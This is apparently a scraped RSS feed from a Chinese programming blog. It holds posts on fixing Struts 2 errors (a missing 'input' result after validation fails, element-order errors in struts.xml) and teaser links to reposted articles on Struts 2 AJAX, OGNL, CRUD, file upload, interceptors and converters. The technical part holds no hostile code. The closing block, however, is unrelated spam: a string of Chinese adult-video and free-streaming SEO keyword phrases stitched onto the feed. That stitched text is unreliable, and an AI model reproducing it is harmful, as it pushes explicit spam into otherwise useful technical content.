struts2 頁面轉向錯誤No result defined for action and result Invalidationhttp://www.tkk7.com/ywj-316/archive/2009/11/20/303071.htmljunlyjunlyFri, 20 Nov 2009 08:57:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/20/303071.htmlhttp://www.tkk7.com/ywj-316/comments/303071.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/20/303071.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/303071.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/303071.htmlMessages: No result defined for action com.xxx.action.SomeAction and result input
---------------------------------------------------------------------------------------------------------------------------

癥狀: action中無法正常進行跳轉.

原因: 驗證值時驗證報錯.

解決辦法:
1) 給 Action 加入 input 的結果;
2) 去除所有證驗相關的攔截器,包括默認的validation
     調試方法:在 input 中加入調試
                      <s:fielderror/>
                      <s:debug />
                      <a href="javascript:void(0);" onclick="toggleDebug('debug');return false;">[調試信息]</a>
                      可顯示下列信息:
                      Invalid field value for field "attachment". 
                      fieldErrors {attachment=[Invalid field value for field "attachment".]} 
3) Action 不再繼承自 ActionSupport(里面有 ValidationAware 接口), 而轉而只實現 Action 接口即可.



junly 2009-11-20 16:57 發表評論
]]>
struts2-error:The content of element type "package" must match "(result-types?,interceptors?,default-interceptor)http://www.tkk7.com/ywj-316/archive/2009/11/04/301013.htmljunlyjunlyWed, 04 Nov 2009 01:31:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/04/301013.htmlhttp://www.tkk7.com/ywj-316/comments/301013.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/04/301013.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/301013.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/301013.html 大清早struts2的配置文件報錯The content of element type "package" must match "(result-types?,interceptors?,default-interceptor-ref?,default-action


意思是我在配置文件中:
result-types
interceptors
default-interceptor-ref
default-action-ref
default-class-ref
global-results
global-exception-mappings
action*(就是所有的action放到最后)
的順序有問題,仔細檢查了一遍也沒發現有什么錯誤,想想是不是action里面的順序有問題,(action里面的順序是可以任意放的)最終刷新了一下頁
面好了,是IDE在作怪吧,記錄一下,以防下次再遇到。


junly 2009-11-04 09:31 發表評論
]]>
[導入]Struts 2與AJAX(第三部分)http://www.tkk7.com/ywj-316/archive/2009/10/29/300230.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300230.htmlhttp://www.tkk7.com/ywj-316/comments/300230.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300230.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300230.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300230.html閱讀全文

Max 2007-08-16 18:33 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/08/16/137363.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]Struts 2與AJAX(第二部分)http://www.tkk7.com/ywj-316/archive/2009/10/29/300231.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300231.htmlhttp://www.tkk7.com/ywj-316/comments/300231.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300231.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300231.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300231.html在上一篇文章《Struts 2與AJAX(第一部分)》,我已經簡單地介紹了<s:tree />的一些用法,接下來我將繼續深入講解<s:tree />的使用和通過DWR實現AJAX校驗。  閱讀全文

Max 2007-06-27 18:33 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/06/27/126648.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]Struts 2與AJAX(第一部分)http://www.tkk7.com/ywj-316/archive/2009/10/29/300232.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300232.htmlhttp://www.tkk7.com/ywj-316/comments/300232.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300232.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300232.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300232.html在當今——Web 2.0概念鋪天蓋地的Internet環境下,簡易的AJAX集成對于一個成功的WEB框架來說是不可或缺的。因此,Struts 2其中的一個重要的功能(Feature)就是“First-class AJAX support - Add interactivity and flexibility with AJAX tags that look and feel just like standard Struts tags(大意:一流的AJAX支持——通過AJAX標志增加互動性和靈活性,而且使用這些AJAX標志與普通的Struts標志同樣簡單)”。  閱讀全文

Max 2007-06-12 18:31 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/06/12/123682.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]Strus 2的新表單標志的使用http://www.tkk7.com/ywj-316/archive/2009/10/29/300233.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300233.htmlhttp://www.tkk7.com/ywj-316/comments/300233.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300233.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300233.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300233.htmlStruts 2為大家提供了不少常用的很酷的表單標志,簡化了我們程序員的工作。不過,由于這些都是新標志,大家可能在使用上還存在不少疑問。本文將就朋友們的回復、留言或Email上的問題,分別對這些酷標志進行講述。  閱讀全文

Max 2007-05-18 19:34 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/05/18/118442.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]Struts 2中的OGNLhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300234.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300234.htmlhttp://www.tkk7.com/ywj-316/comments/300234.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300234.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300234.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300234.htmlOGNL是一種功能很大的表達式語言,熟悉它可以使我們的開發變得更快捷。  閱讀全文

Max 2007-04-28 19:43 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/04/28/114417.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]在Struts 2中實現CRUDhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300235.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300235.htmlhttp://www.tkk7.com/ywj-316/comments/300235.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300235.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300235.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300235.htmlCRUD是Create(創建)、Read(讀取)、Update(更新)和Delete(刪除)的縮寫,它是普通應用程序的縮影。如果您掌握了某框架的CRUD編寫,那么意味可以使用該框架創建普通應用程序了,所以大家使用新框架開發OLTP(Online Transaction Processing)應用程序時,首先會研究一下如何編寫CRUD。這類似于大家在學習新編程語言時喜歡編寫“Hello World”。閱讀全文

Max 2007-04-13 01:37 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/04/13/110310.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]在Struts 2中實現文件上傳http://www.tkk7.com/ywj-316/archive/2009/10/29/300236.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300236.htmlhttp://www.tkk7.com/ywj-316/comments/300236.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300236.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300236.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300236.htmlStruts 2是通過Commons FileUpload文件上傳。Commons FileUpload通過將HTTP的數據保存到臨時文件夾,然后Struts使用fileUpload攔截器將文件綁定到Action的實例中。從而我們就能夠以本地文件方式的操作瀏覽器上傳的文件。  閱讀全文

Max 2007-03-21 00:48 發表評論

文章來源:http://www.tkk7.com/max/archive/2007/03/21/105124.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]Struts 2的基石——攔截器(Interceptor)http://www.tkk7.com/ywj-316/archive/2009/10/29/300238.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300238.htmlhttp://www.tkk7.com/ywj-316/comments/300238.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300238.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300238.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300238.htmlInterceptor(以下譯為攔截器)是Struts 2的一個強有力的工具,有許多功能(feature)都是構建于它之上,如國際化、轉換器,校驗等。  閱讀全文

Max 2006-12-06 20:10 發表評論

文章來源:http://www.tkk7.com/max/archive/2006/12/06/85925.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]在Struts 2.0中實現表單數據校驗(Validation)http://www.tkk7.com/ywj-316/archive/2009/10/29/300239.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300239.htmlhttp://www.tkk7.com/ywj-316/comments/300239.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300239.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300239.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300239.html閱讀全文

Max 2006-11-14 13:38 發表評論

文章來源:http://www.tkk7.com/max/archive/2006/11/14/81106.html

junly 2009-10-29 19:00 發表評論
]]>
[導入]轉換器(Converter)——Struts 2.0中的魔術師http://www.tkk7.com/ywj-316/archive/2009/10/29/300240.htmljunlyjunlyThu, 29 Oct 2009 11:00:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/10/29/300240.htmlhttp://www.tkk7.com/ywj-316/comments/300240.htmlhttp://www.tkk7.com/ywj-316/archive/2009/10/29/300240.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/300240.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/300240.html閱讀全文

Max 2006-11-07 14:26 發表評論

文章來源:http://www.tkk7.com/max/archive/2006/11/07/79602.html

junly 2009-10-29 19:00 發表評論
]]>
主站蜘蛛池模板: 亚洲精品乱码久久久久久中文字幕 | 国产在线a不卡免费视频| 免费黄网站在线看| 免费看一级一级人妻片| 亚洲精品免费网站| 久久99亚洲网美利坚合众国| 中国亚洲女人69内射少妇| 日韩一区二区免费视频| 毛片免费观看网站| 免费成人激情视频| 19禁啪啪无遮挡免费网站| 东方aⅴ免费观看久久av| 国产男女爽爽爽免费视频| 国产AV日韩A∨亚洲AV电影| 亚洲av综合av一区二区三区| 亚洲狠狠成人综合网| 国产成人精品日本亚洲专一区| 亚洲尹人香蕉网在线视颅| 亚洲av无码一区二区三区网站| 国产亚洲午夜高清国产拍精品| 亚洲精品高清在线| 亚洲电影日韩精品| 亚洲精品网站在线观看不卡无广告 | 全免费一级午夜毛片| 西西大胆无码视频免费| 中国人xxxxx69免费视频| 777成影片免费观看| 99爱视频99爱在线观看免费| 免费无码VA一区二区三区| 免费毛片a线观看| 久久一区二区三区免费播放| 你懂的免费在线观看网站| 久久亚洲免费视频| 91人人区免费区人人| 在线看免费观看AV深夜影院| 欧美日韩国产免费一区二区三区| 男人的好看免费观看在线视频| 国产成人免费爽爽爽视频 | 久久亚洲AV成人无码国产电影| 亚洲av午夜电影在线观看| 性色av极品无码专区亚洲 |